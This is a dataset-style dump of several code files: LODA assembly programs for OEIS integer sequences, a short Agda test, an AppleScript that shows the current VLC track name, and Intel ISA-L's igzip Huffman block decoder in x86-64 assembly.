max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
programs/oeis/190/A190365.asm
karttu/loda
0
25391
; A190365: n + [n*r/s] + [n*t/s] + [n*u/s]; r=sqrt(2), s=1/r, t=sqrt(3), u=1/t. ; 5,11,18,24,31,36,43,49,56,62,67,74,80,87,93,100,105,112,118,124,131,136,143,149,156,162,169,174,181,187,193,200,205,212,218,225,231,238,243,249,256,262,269,274,281,287,294,300,307,312,318,325,331,338,343,350,356,363,369,374,381,387,394,400,407,412,419,425,432,438,443,450,456,463,469,476,481,488,494,500,507,512,519,525,532,538,545,550,557,563,569,576,581,588,594,601,607,614,619,625,632,638,645,650,657,663,670,676,681,688,694,701,707,714,719,726,732,739,745,750,757,763,770,776,783,788,795,801,807,814,819,826,832,839,845,852,857,864,870,876,883,888,895,901,908,914,921,926,932,939,945,952,957,964,970,977,983,990,995,1001,1008,1014,1021,1026,1033,1039,1046,1052,1057,1064,1070,1077,1083,1090,1095,1102,1108,1115,1121,1126,1133,1139,1146,1152,1159,1164,1171,1177,1183,1190,1195,1202,1208,1215,1221,1228,1233,1239,1246,1252,1259,1264,1271,1277,1284,1290,1297,1302,1308,1315,1321,1328,1333,1340,1346,1353,1359,1364,1371,1377,1384,1390,1397,1402,1409,1415,1422,1428,1433,1440,1446,1453,1459,1466,1471,1478,1484,1490,1497,1502,1509,1515,1522,1528,1535,1540,1547,1553,1559,1566 mov $2,$0 cal $0,22840 ; Beatty sequence for sqrt(6). mul $0,4 div $0,3 sub $0,2 mov $1,$0 add $1,5 mov $3,$2 mul $3,3 add $1,$3
libsrc/_DEVELOPMENT/compress/zx1/z80/asm_dzx1_smart_rcs.asm
ahjelm/z88dk
640
9537
IF !__CPU_INTEL__ && !__CPU_GBZ80__ SECTION code_lib SECTION code_compress_zx1 PUBLIC asm_dzx1_smart_rcs asm_dzx1_smart_rcs: INCLUDE "dzx1_smartRCS.asm" ENDIF
test/Succeed/Issue261.agda
shlevy/agda
1,989
16828
module Issue261 where postulate List : Set → Set nil : ∀ A → List A Nat : Set works-now : List Nat works-now with nil _ ... | xs = xs
programs/oeis/269/A269658.asm
karttu/loda
0
167191
; A269658: Number of length-5 0..n arrays with no adjacent pair x,x+1 repeated. ; 1,26,225,988,3065,7686,16681,32600,58833,99730,160721,248436,370825,537278,758745,1047856,1419041,1888650,2475073,3198860,4082841,5152246,6434825,7960968,9763825,11879426,14346801,17208100,20508713,24297390,28626361,33551456,39132225,45432058,52518305,60462396,69339961,79230950,90219753,102395320,115851281,130686066,147003025,164910548,184522185,205956766,229338521,254797200,282468193,312492650,345017601,380196076,418187225,459156438,503275465,550722536,601682481,656346850,714914033,777589380,844585321,916121486,992424825,1073729728,1160278145,1252319706,1350111841,1453919900,1564017273,1680685510,1804214441,1934902296,2073055825,2218990418,2373030225,2535508276,2706766601,2887156350,3077037913,3276781040,3486764961,3707378506,3939020225,4182098508,4437031705,4704248246,4984186761,5277296200,5584035953,5904875970,6240296881,6590790116,6956858025,7339013998,7737782585,8153699616,8587312321,9039179450,9509871393,9999970300,10510070201,11040777126,11592709225,12166496888,12762782865,13382222386,14025483281,14693246100,15386204233,16105064030,16850544921,17623379536,18424313825,19254107178,20113532545,21003376556,21924439641,22877536150,23863494473,24883157160,25937381041,27027037346,28153011825,29316204868,30517531625,31757922126,33038321401,34359689600,35723002113,37129249690,38579438561,40074590556,41615743225,43203949958,44840280105,46525819096,48261668561,50048946450,51888787153,53782341620,55730777481,57735279166,59797048025,61917302448,64097277985,66338227466,68641421121,71008146700,73439709593,75937432950,78502657801,81136743176,83841066225,86617022338,89466025265,92389507236,95388919081,98465730350,101621429433,104857523680,108175539521,111577022586,115063537825,118636669628,122298021945,126049218406,129891902441,133827737400,137858406673,141985613810,146211082641,150536557396,154963802825,159494604318,164130768025,168874120976,173726511201,178689807850,183765901313,188956703340,194264147161,199690187606,205236801225,210905986408,216699763505,222620174946,228669285361,234849181700,241161973353,247609792270,254194793081,260919153216,267785073025,274794775898,281950508385,289254540316,296709164921,304316698950,312079482793,319999880600,328080280401,336323094226,344730758225,353305732788,362050502665,370967577086,380059489881,389328799600,398778089633,408409968330,418227069121 mov $2,$0 add $0,1 lpb $0,1 mov $4,$0 pow $0,2 mov $1,$0 sub $4,1 mul $4,$0 add $0,$4 mul $1,$0 sub $0,1 mov $3,$0 mov $0,$6 sub $1,$3 lpe mov $5,$2 mul $5,$2 mul $5,$2 add $1,$5
programs/oeis/313/A313836.asm
neoneye/loda
22
12561
<reponame>neoneye/loda ; A313836: Coordination sequence Gal.3.23.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,5,10,16,20,26,31,36,41,46,52,56,62,67,72,77,82,88,92,98,103,108,113,118,124,128,134,139,144,149,154,160,164,170,175,180,185,190,196,200,206,211,216,221,226,232,236,242,247,252 mov $5,$0 sub $0,1 mul $0,4 mov $1,3 lpb $0 sub $2,$4 add $0,$2 trn $0,5 mov $3,$1 mov $1,$2 mov $2,3 add $3,1 mov $4,$1 mov $1,$3 lpe lpb $5 add $1,4 sub $5,1 lpe sub $1,2 mov $0,$1
programs/oeis/074/A074617.asm
neoneye/loda
22
8375
<filename>programs/oeis/074/A074617.asm ; A074617: a(n) = 5^n + 8^n. ; 2,13,89,637,4721,35893,277769,2175277,17167841,136170853,1083507449,8638762717,68963617361,550976517013,4404150026729,35214889666957,281627564601281,2252562753138373,18018213206747609,144134261562183997 seq $0,74518 ; a(n) = 1^n + 5^n + 8^n. sub $0,1
VLCwidget.applescript
arthurdecloedt/BTT-scripts
3
1153
set maxsize to 20 if application "VLC" is running then tell application "VLC" try set n to name of current item if playing then set r to n else log n set r to "Paused" end if if length of r is greater than maxsize then set r to text 1 thru (maxsize - 3) of r & "..." end if return r on error return "" end try end tell else return "" end if
igzip/igzip_decode_block_stateless.asm
hzhuang1/isa-l
344
101641
<filename>igzip/igzip_decode_block_stateless.asm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2018 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; default rel %include "reg_sizes.asm" %define DECOMP_OK 0 %define END_INPUT 1 %define OUT_OVERFLOW 2 %define INVALID_BLOCK -1 %define INVALID_SYMBOL -2 %define INVALID_LOOKBACK -3 %define ISAL_DECODE_LONG_BITS 12 %define ISAL_DECODE_SHORT_BITS 10 %define COPY_SIZE 16 %define COPY_LEN_MAX 258 %define IN_BUFFER_SLOP 8 %define OUT_BUFFER_SLOP COPY_SIZE + COPY_LEN_MAX %include "inflate_data_structs.asm" %include "stdmac.asm" extern rfc1951_lookup_table %define LARGE_SHORT_SYM_LEN 25 %define LARGE_SHORT_SYM_MASK ((1 << LARGE_SHORT_SYM_LEN) - 1) %define LARGE_LONG_SYM_LEN 10 %define LARGE_LONG_SYM_MASK ((1 << LARGE_LONG_SYM_LEN) - 1) %define LARGE_SHORT_CODE_LEN_OFFSET 28 %define LARGE_LONG_CODE_LEN_OFFSET 10 %define LARGE_FLAG_BIT_OFFSET 25 %define LARGE_FLAG_BIT (1 << LARGE_FLAG_BIT_OFFSET) %define LARGE_SYM_COUNT_OFFSET 26 %define LARGE_SYM_COUNT_LEN 2 %define LARGE_SYM_COUNT_MASK ((1 << LARGE_SYM_COUNT_LEN) - 1) %define LARGE_SHORT_MAX_LEN_OFFSET 26 %define SMALL_SHORT_SYM_LEN 9 %define SMALL_SHORT_SYM_MASK ((1 << SMALL_SHORT_SYM_LEN) - 1) %define SMALL_LONG_SYM_LEN 9 %define SMALL_LONG_SYM_MASK ((1 << SMALL_LONG_SYM_LEN) - 1) %define SMALL_SHORT_CODE_LEN_OFFSET 11 %define SMALL_LONG_CODE_LEN_OFFSET 10 %define SMALL_FLAG_BIT_OFFSET 10 %define SMALL_FLAG_BIT (1 << SMALL_FLAG_BIT_OFFSET) %define DIST_SYM_OFFSET 0 %define DIST_SYM_LEN 5 %define DIST_SYM_MASK ((1 << DIST_SYM_LEN) - 1) %define DIST_SYM_EXTRA_OFFSET 5 %define DIST_SYM_EXTRA_LEN 4 %define DIST_SYM_EXTRA_MASK ((1 << DIST_SYM_EXTRA_LEN) - 1) ;; rax %define tmp3 rax %define read_in_2 rax %define look_back_dist rax ;; rcx ;; rdx arg3 %define next_sym2 rdx %define copy_start rdx %define tmp4 rdx ;; rdi arg1 %define tmp1 rdi %define look_back_dist2 rdi %define next_bits2 rdi %define next_sym3 rdi ;; rsi arg2 %define tmp2 rsi %define next_sym_num rsi %define next_bits rsi ;; rbx ; Saved %define next_in rbx ;; rbp ; Saved %define end_in rbp ;; r8 %define repeat_length r8 ;; r9 %define read_in r9 ;; r10 %define read_in_length r10 ;; r11 %define state r11 ;; r12 ; Saved %define next_out r12 ;; r13 ; Saved %define end_out r13 ;; r14 ; Saved %define next_sym r14 ;; r15 ; Saved %define rfc_lookup r15 start_out_mem_offset equ 0 read_in_mem_offset equ 8 read_in_length_mem_offset equ 16 next_out_mem_offset equ 24 gpr_save_mem_offset equ 32 stack_size equ 4 * 8 + 8 * 8 %define _dist_extra_bit_count 264 %define _dist_start _dist_extra_bit_count + 1*32 %define _len_extra_bit_count _dist_start + 4*32 %define _len_start _len_extra_bit_count + 1*32 %ifidn __OUTPUT_FORMAT__, elf64 %define arg0 rdi %define arg1 rsi %macro FUNC_SAVE 0 %ifdef ALIGN_STACK push rbp mov rbp, rsp sub rsp, stack_size and rsp, ~15 %else sub rsp, stack_size %endif mov [rsp + gpr_save_mem_offset + 0*8], rbx mov [rsp + gpr_save_mem_offset + 1*8], rbp mov [rsp + gpr_save_mem_offset + 2*8], r12 mov [rsp + gpr_save_mem_offset + 3*8], r13 mov [rsp + gpr_save_mem_offset + 4*8], r14 mov [rsp + gpr_save_mem_offset + 5*8], r15 %endm %macro FUNC_RESTORE 0 mov rbx, [rsp + gpr_save_mem_offset + 0*8] mov rbp, [rsp + gpr_save_mem_offset + 1*8] mov r12, [rsp + gpr_save_mem_offset + 2*8] mov r13, [rsp + gpr_save_mem_offset + 3*8] mov r14, [rsp + gpr_save_mem_offset + 4*8] mov r15, [rsp + gpr_save_mem_offset + 5*8] %ifndef ALIGN_STACK add rsp, stack_size %else mov rsp, rbp pop rbp %endif %endm %endif %ifidn __OUTPUT_FORMAT__, win64 %define arg0 rcx %define arg1 rdx %macro FUNC_SAVE 0 %ifdef ALIGN_STACK push rbp mov rbp, rsp sub rsp, stack_size and rsp, ~15 %else sub rsp, stack_size %endif mov [rsp + gpr_save_mem_offset + 0*8], rbx mov [rsp + gpr_save_mem_offset + 1*8], rsi mov [rsp + gpr_save_mem_offset + 2*8], rdi mov [rsp + gpr_save_mem_offset + 3*8], rbp mov [rsp + gpr_save_mem_offset + 4*8], r12 mov [rsp + gpr_save_mem_offset + 5*8], r13 mov [rsp + gpr_save_mem_offset + 6*8], r14 mov [rsp + gpr_save_mem_offset + 7*8], r15 %endm %macro FUNC_RESTORE 0 mov rbx, [rsp + gpr_save_mem_offset + 0*8] mov rsi, [rsp + gpr_save_mem_offset + 1*8] mov rdi, [rsp + gpr_save_mem_offset + 2*8] mov rbp, [rsp + gpr_save_mem_offset + 3*8] mov r12, [rsp + gpr_save_mem_offset + 4*8] mov r13, [rsp + gpr_save_mem_offset + 5*8] mov r14, [rsp + gpr_save_mem_offset + 6*8] mov r15, [rsp + gpr_save_mem_offset + 7*8] %ifndef ALIGN_STACK add rsp, stack_size %else mov rsp, rbp pop rbp %endif %endm %endif ;; Load read_in and updated in_buffer accordingly ;; when there are at least 8 bytes in the in buffer ;; Clobbers rcx, unless rcx is %%read_in_length %macro inflate_in_load 6 %define %%next_in %1 %define %%end_in %2 %define %%read_in %3 %define %%read_in_length %4 %define %%tmp1 %5 ; Tmp registers %define %%tmp2 %6 SHLX %%tmp1, [%%next_in], %%read_in_length or %%read_in, %%tmp1 mov %%tmp1, 64 sub %%tmp1, %%read_in_length shr %%tmp1, 3 add %%next_in, %%tmp1 lea %%read_in_length, [%%read_in_length + 8 * %%tmp1] %%end: %endm ;; Load read_in and updated in_buffer accordingly ;; Clobbers rcx, unless rcx is %%read_in_length %macro inflate_in_small_load 6 %define %%next_in %1 %define %%end_in %2 %define %%read_in %3 %define %%read_in_length %4 %define %%avail_in %5 ; Tmp registers %define %%tmp1 %5 %define %%loop_count %6 mov %%avail_in, %%end_in sub %%avail_in, %%next_in %ifnidn %%read_in_length, rcx mov rcx, %%read_in_length %endif mov %%loop_count, 64 sub %%loop_count, %%read_in_length shr %%loop_count, 3 cmp %%loop_count, %%avail_in cmovg %%loop_count, %%avail_in cmp %%loop_count, 0 je %%end %%load_byte: xor %%tmp1, %%tmp1 mov %%tmp1 %+ b, byte [%%next_in] SHLX %%tmp1, %%tmp1, rcx or %%read_in, %%tmp1 add rcx, 8 add %%next_in, 1 sub %%loop_count, 1 jg %%load_byte %ifnidn %%read_in_length, rcx mov %%read_in_length, rcx %endif %%end: %endm ;; Clears all bits at index %%bit_count and above in %%next_bits ;; May clobber rcx and %%bit_count %macro CLEAR_HIGH_BITS 3 %define %%next_bits %1 %define %%bit_count %2 %define %%lookup_size %3 sub %%bit_count, 0x40 + %%lookup_size ;; Extract the 15-DECODE_LOOKUP_SIZE bits beyond the first DECODE_LOOKUP_SIZE bits. %ifdef USE_HSWNI and %%bit_count, 0x1F bzhi %%next_bits, %%next_bits, %%bit_count %else %ifnidn %%bit_count, rcx mov rcx, %%bit_count %endif neg rcx shl %%next_bits, cl shr %%next_bits, cl %endif %endm ;; Decode next symbol ;; Clobber rcx %macro decode_next_lit_len 8 %define %%state %1 ; State structure associated with compressed stream %define %%lookup_size %2 ; Number of bits used for small lookup %define %%state_offset %3 ; Type of huff code, should be either LIT or DIST %define %%read_in %4 ; Bits read in from compressed stream %define %%read_in_length %5 ; Number of valid bits in read_in %define %%next_sym %6 ; Returned symbols %define %%next_sym_num %7 ; Returned symbols count %define %%next_bits %8 mov %%next_sym_num, %%next_sym mov rcx, %%next_sym shr rcx, LARGE_SHORT_CODE_LEN_OFFSET jz invalid_symbol and %%next_sym_num, LARGE_SYM_COUNT_MASK << LARGE_SYM_COUNT_OFFSET shr %%next_sym_num, LARGE_SYM_COUNT_OFFSET ;; Check if symbol or hint was looked up and %%next_sym, LARGE_FLAG_BIT | LARGE_SHORT_SYM_MASK test %%next_sym, LARGE_FLAG_BIT jz %%end shl rcx, LARGE_SYM_COUNT_LEN or rcx, %%next_sym_num ;; Save length associated with symbol mov %%next_bits, %%read_in shr %%next_bits, %%lookup_size ;; Extract the bits beyond the first %%lookup_size bits. CLEAR_HIGH_BITS %%next_bits, rcx, %%lookup_size and %%next_sym, LARGE_SHORT_SYM_MASK add %%next_sym, %%next_bits ;; Lookup actual next symbol movzx %%next_sym, word [%%state + LARGE_LONG_CODE_SIZE * %%next_sym + %%state_offset + LARGE_SHORT_CODE_SIZE * (1 << %%lookup_size)] mov %%next_sym_num, 1 ;; Save length associated with symbol mov rcx, %%next_sym shr rcx, LARGE_LONG_CODE_LEN_OFFSET jz invalid_symbol and %%next_sym, LARGE_LONG_SYM_MASK %%end: ;; Updated read_in to reflect the bits which were decoded SHRX %%read_in, %%read_in, rcx sub %%read_in_length, rcx %endm ;; Decode next symbol ;; Clobber rcx %macro decode_next_lit_len_with_load 8 %define %%state %1 ; State structure associated with compressed stream %define %%lookup_size %2 ; Number of bits used for small lookup %define %%state_offset %3 %define %%read_in %4 ; Bits read in from compressed stream %define %%read_in_length %5 ; Number of valid bits in read_in %define %%next_sym %6 ; Returned symbols %define %%next_sym_num %7 ; Returned symbols count %define %%next_bits %8 ;; Lookup possible next symbol mov %%next_bits, %%read_in and %%next_bits, (1 << %%lookup_size) - 1 mov %%next_sym %+ d, dword [%%state + %%state_offset + LARGE_SHORT_CODE_SIZE * %%next_bits] decode_next_lit_len %%state, %%lookup_size, %%state_offset, %%read_in, %%read_in_length, %%next_sym, %%next_sym_num, %%next_bits %endm ;; Decode next symbol ;; Clobber rcx %macro decode_next_dist 8 %define %%state %1 ; State structure associated with compressed stream %define %%lookup_size %2 ; Number of bits used for small lookup %define %%state_offset %3 ; Type of huff code, should be either LIT or DIST %define %%read_in %4 ; Bits read in from compressed stream %define %%read_in_length %5 ; Number of valid bits in read_in %define %%next_sym %6 ; Returned symobl %define %%next_extra_bits %7 %define %%next_bits %8 mov rcx, %%next_sym shr rcx, SMALL_SHORT_CODE_LEN_OFFSET jz invalid_dist_symbol_ %+ %%next_sym ;; Check if symbol or hint was looked up and %%next_sym, SMALL_FLAG_BIT | SMALL_SHORT_SYM_MASK test %%next_sym, SMALL_FLAG_BIT jz %%end ;; Save length associated with symbol mov %%next_bits, %%read_in shr %%next_bits, %%lookup_size ;; Extract the 15-DECODE_LOOKUP_SIZE bits beyond the first %%lookup_size bits. lea %%next_sym, [%%state + SMALL_LONG_CODE_SIZE * %%next_sym] CLEAR_HIGH_BITS %%next_bits, rcx, %%lookup_size ;; Lookup actual next symbol movzx %%next_sym, word [%%next_sym + %%state_offset + SMALL_LONG_CODE_SIZE * %%next_bits + SMALL_SHORT_CODE_SIZE * (1 << %%lookup_size) - SMALL_LONG_CODE_SIZE * SMALL_FLAG_BIT] ;; Save length associated with symbol mov rcx, %%next_sym shr rcx, SMALL_LONG_CODE_LEN_OFFSET jz invalid_dist_symbol_ %+ %%next_sym and %%next_sym, SMALL_SHORT_SYM_MASK %%end: ;; Updated read_in to reflect the bits which were decoded SHRX %%read_in, %%read_in, rcx sub %%read_in_length, rcx mov rcx, %%next_sym shr rcx, DIST_SYM_EXTRA_OFFSET and %%next_sym, DIST_SYM_MASK %endm ;; Decode next symbol ;; Clobber rcx %macro decode_next_dist_with_load 8 %define %%state %1 ; State structure associated with compressed stream %define %%lookup_size %2 ; Number of bits used for small lookup %define %%state_offset %3 %define %%read_in %4 ; Bits read in from compressed stream %define %%read_in_length %5 ; Number of valid bits in read_in %define %%next_sym %6 ; Returned symobl %define %%next_extra_bits %7 %define %%next_bits %8 ;; Lookup possible next symbol mov %%next_bits, %%read_in and %%next_bits, (1 << %%lookup_size) - 1 movzx %%next_sym, word [%%state + %%state_offset + SMALL_SHORT_CODE_SIZE * %%next_bits] decode_next_dist %%state, %%lookup_size, %%state_offset, %%read_in, %%read_in_length, %%next_sym, %%next_extra_bits, %%next_bits %endm [bits 64] default rel section .text global decode_huffman_code_block_stateless_ %+ ARCH decode_huffman_code_block_stateless_ %+ ARCH %+ : endbranch FUNC_SAVE mov state, arg0 mov [rsp + start_out_mem_offset], arg1 lea rfc_lookup, [rfc1951_lookup_table] mov read_in,[state + _read_in] mov read_in_length %+ d, dword [state + _read_in_length] mov next_out, [state + _next_out] mov end_out %+ d, dword [state + _avail_out] add end_out, next_out mov next_in, [state + _next_in] mov end_in %+ d, dword [state + _avail_in] add end_in, next_in mov dword [state + _copy_overflow_len], 0 mov dword [state + _copy_overflow_dist], 0 sub end_out, OUT_BUFFER_SLOP sub end_in, IN_BUFFER_SLOP cmp next_in, end_in jg end_loop_block_pre cmp read_in_length, 64 je skip_load inflate_in_load next_in, end_in, read_in, read_in_length, tmp1, tmp2 skip_load: mov tmp3, read_in and tmp3, (1 << ISAL_DECODE_LONG_BITS) - 1 mov next_sym %+ d, dword [state + _lit_huff_code + LARGE_SHORT_CODE_SIZE * tmp3] ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Main Loop ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; loop_block: ;; Check if near end of in buffer or out buffer cmp next_in, end_in jg end_loop_block_pre cmp next_out, end_out jg end_loop_block_pre ;; Decode next symbol and reload the read_in buffer decode_next_lit_len state, ISAL_DECODE_LONG_BITS, _lit_huff_code, read_in, read_in_length, next_sym, next_sym_num, tmp1 ;; Specutively write next_sym if it is a literal mov [next_out], next_sym add next_out, next_sym_num lea next_sym2, [8 * next_sym_num - 8] SHRX next_sym2, next_sym, next_sym2 ;; Find index to specutively preload next_sym from mov tmp3, (1 << ISAL_DECODE_LONG_BITS) - 1 and tmp3, read_in ;; Start reloading read_in mov tmp1, [next_in] SHLX tmp1, tmp1, read_in_length or read_in, tmp1 ;; Specutively load data associated with length symbol lea repeat_length, [next_sym2 - 254] ;; Test for end of block symbol cmp next_sym2, 256 je end_symbol_pre ;; Specutively load next_sym for next loop if a literal was decoded mov next_sym %+ d, dword [state + _lit_huff_code + LARGE_SHORT_CODE_SIZE * tmp3] ;; Finish updating read_in_length for read_in mov tmp1, 64 sub tmp1, read_in_length shr tmp1, 3 add next_in, tmp1 lea read_in_length, [read_in_length + 8 * tmp1] ;; Specultively load next dist code mov next_bits2, (1 << ISAL_DECODE_SHORT_BITS) - 1 and next_bits2, read_in movzx next_sym3, word [state + _dist_huff_code + SMALL_SHORT_CODE_SIZE * next_bits2] ;; Check if next_sym2 is a literal, length, or end of block symbol cmp next_sym2, 256 jl loop_block decode_len_dist: ;; Determine next_out after the copy is finished lea next_out, [next_out + repeat_length - 1] ;; Decode distance code decode_next_dist state, ISAL_DECODE_SHORT_BITS, _dist_huff_code, read_in, read_in_length, next_sym3, rcx, tmp2 mov look_back_dist2 %+ d, [rfc_lookup + _dist_start + 4 * next_sym3] ; ;; Load distance code extra bits mov next_bits, read_in ;; Calculate the look back distance BZHI next_bits, next_bits, rcx, tmp4 SHRX read_in, read_in, rcx ;; Setup next_sym, read_in, and read_in_length for next loop mov read_in_2, (1 << ISAL_DECODE_LONG_BITS) - 1 and read_in_2, read_in mov next_sym %+ d, dword [state + _lit_huff_code + LARGE_SHORT_CODE_SIZE * read_in_2] sub read_in_length, rcx ;; Copy distance in len/dist pair add look_back_dist2, next_bits ;; Find beginning of copy mov copy_start, next_out sub copy_start, repeat_length sub copy_start, look_back_dist2 ;; Check if a valid look back distances was decoded cmp copy_start, [rsp + start_out_mem_offset] jl invalid_look_back_distance MOVDQU xmm1, [copy_start] ;; Set tmp2 to be the minimum of COPY_SIZE and repeat_length ;; This is to decrease use of small_byte_copy branch mov tmp2, COPY_SIZE cmp tmp2, repeat_length cmovg tmp2, repeat_length ;; Check for overlapping memory in the copy cmp look_back_dist2, tmp2 jl small_byte_copy_pre large_byte_copy: ;; Copy length distance pair when memory overlap is not an issue MOVDQU [copy_start + look_back_dist2], xmm1 sub repeat_length, COPY_SIZE jle loop_block add copy_start, COPY_SIZE MOVDQU xmm1, [copy_start] jmp large_byte_copy small_byte_copy_pre: ;; Copy length distance pair when source and destination overlap add repeat_length, look_back_dist2 small_byte_copy: MOVDQU [copy_start + look_back_dist2], xmm1 shl look_back_dist2, 1 MOVDQU xmm1, [copy_start] cmp look_back_dist2, COPY_SIZE jl small_byte_copy sub repeat_length, look_back_dist2 jge large_byte_copy jmp loop_block ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Finish Main Loop ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; end_loop_block_pre: ;; Fix up in buffer and out buffer to reflect the actual buffer end add end_out, OUT_BUFFER_SLOP add end_in, IN_BUFFER_SLOP end_loop_block: ;; Load read in buffer and decode next lit/len symbol inflate_in_small_load next_in, end_in, read_in, read_in_length, tmp1, tmp2 mov [rsp + read_in_mem_offset], read_in mov [rsp + read_in_length_mem_offset], read_in_length mov [rsp + next_out_mem_offset], next_out decode_next_lit_len_with_load state, ISAL_DECODE_LONG_BITS, _lit_huff_code, read_in, read_in_length, next_sym, next_sym_num, tmp1 ;; Check that enough input was available to decode symbol cmp read_in_length, 0 jl end_of_input multi_symbol_start: cmp next_sym_num, 1 jg decode_literal cmp next_sym, 256 jl decode_literal je end_symbol decode_len_dist_2: lea repeat_length, [next_sym - 254] ;; Decode distance code decode_next_dist_with_load state, ISAL_DECODE_SHORT_BITS, _dist_huff_code, read_in, read_in_length, next_sym, rcx, tmp1 ;; Load distance code extra bits mov next_bits, read_in mov look_back_dist %+ d, [rfc_lookup + _dist_start + 4 * next_sym] ;; Calculate the look back distance and check for enough input BZHI next_bits, next_bits, rcx, tmp1 SHRX read_in, read_in, rcx add look_back_dist, next_bits sub read_in_length, rcx jl end_of_input ;; Setup code for byte copy using rep movsb mov rsi, next_out mov rdi, rsi mov rcx, repeat_length sub rsi, look_back_dist ;; Check if a valid look back distance was decoded cmp rsi, [rsp + start_out_mem_offset] jl invalid_look_back_distance ;; Check for out buffer overflow add repeat_length, next_out cmp repeat_length, end_out jg out_buffer_overflow_repeat mov next_out, repeat_length rep movsb jmp end_loop_block decode_literal: ;; Store literal decoded from the input stream cmp next_out, end_out jge out_buffer_overflow_lit add next_out, 1 mov byte [next_out - 1], next_sym %+ b sub next_sym_num, 1 jz end_loop_block shr next_sym, 8 jmp multi_symbol_start ;; Set exit codes end_of_input: mov read_in, [rsp + read_in_mem_offset] mov read_in_length, [rsp + read_in_length_mem_offset] mov next_out, [rsp + next_out_mem_offset] xor tmp1, tmp1 mov dword [state + _write_overflow_lits], tmp1 %+ d mov dword [state + _write_overflow_len], tmp1 %+ d mov rax, END_INPUT jmp end out_buffer_overflow_repeat: mov rcx, end_out sub rcx, next_out sub repeat_length, rcx sub repeat_length, next_out rep movsb mov [state + _copy_overflow_len], repeat_length %+ d mov [state + _copy_overflow_dist], look_back_dist %+ d mov next_out, end_out mov rax, OUT_OVERFLOW jmp end out_buffer_overflow_lit: mov dword [state + _write_overflow_lits], next_sym %+ d mov dword [state + _write_overflow_len], next_sym_num %+ d sub next_sym_num, 1 shl next_sym_num, 3 SHRX next_sym, next_sym, next_sym_num mov rax, OUT_OVERFLOW shr next_sym_num, 3 cmp next_sym, 256 jl end mov dword [state + _write_overflow_len], next_sym_num %+ d jg decode_len_dist_2 jmp end_state invalid_look_back_distance: mov rax, INVALID_LOOKBACK jmp end invalid_dist_symbol_ %+ next_sym: cmp read_in_length, next_sym jl end_of_input jmp invalid_symbol invalid_dist_symbol_ %+ next_sym3: cmp read_in_length, next_sym3 jl end_of_input invalid_symbol: mov rax, INVALID_SYMBOL jmp end end_symbol_pre: ;; Fix up in buffer and out buffer to reflect the actual buffer sub next_out, 1 add end_out, OUT_BUFFER_SLOP add end_in, IN_BUFFER_SLOP end_symbol: xor rax, rax end_state: ;; Set flag identifying a new block is required mov byte [state + _block_state], ISAL_BLOCK_NEW_HDR cmp dword [state + _bfinal], 0 je end mov byte [state + _block_state], ISAL_BLOCK_INPUT_DONE end: ;; Save current buffer states mov [state + _read_in], read_in mov [state + _read_in_length], read_in_length %+ d ;; Set avail_out sub end_out, next_out mov dword [state + _avail_out], end_out %+ d ;; Set total_out mov tmp1, next_out sub tmp1, [state + _next_out] add [state + _total_out], tmp1 %+ d ;; Set next_out mov [state + _next_out], next_out ;; Set next_in mov [state + _next_in], next_in ;; Set avail_in sub end_in, next_in mov [state + _avail_in], end_in %+ d FUNC_RESTORE ret
programs/oeis/248/A248474.asm
karttu/loda
1
90940
